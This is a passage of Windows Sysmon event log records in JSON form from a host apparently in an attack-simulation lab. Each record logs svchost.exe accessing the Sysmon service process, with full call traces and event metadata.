11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.547\r\nSourceProcessGUID: 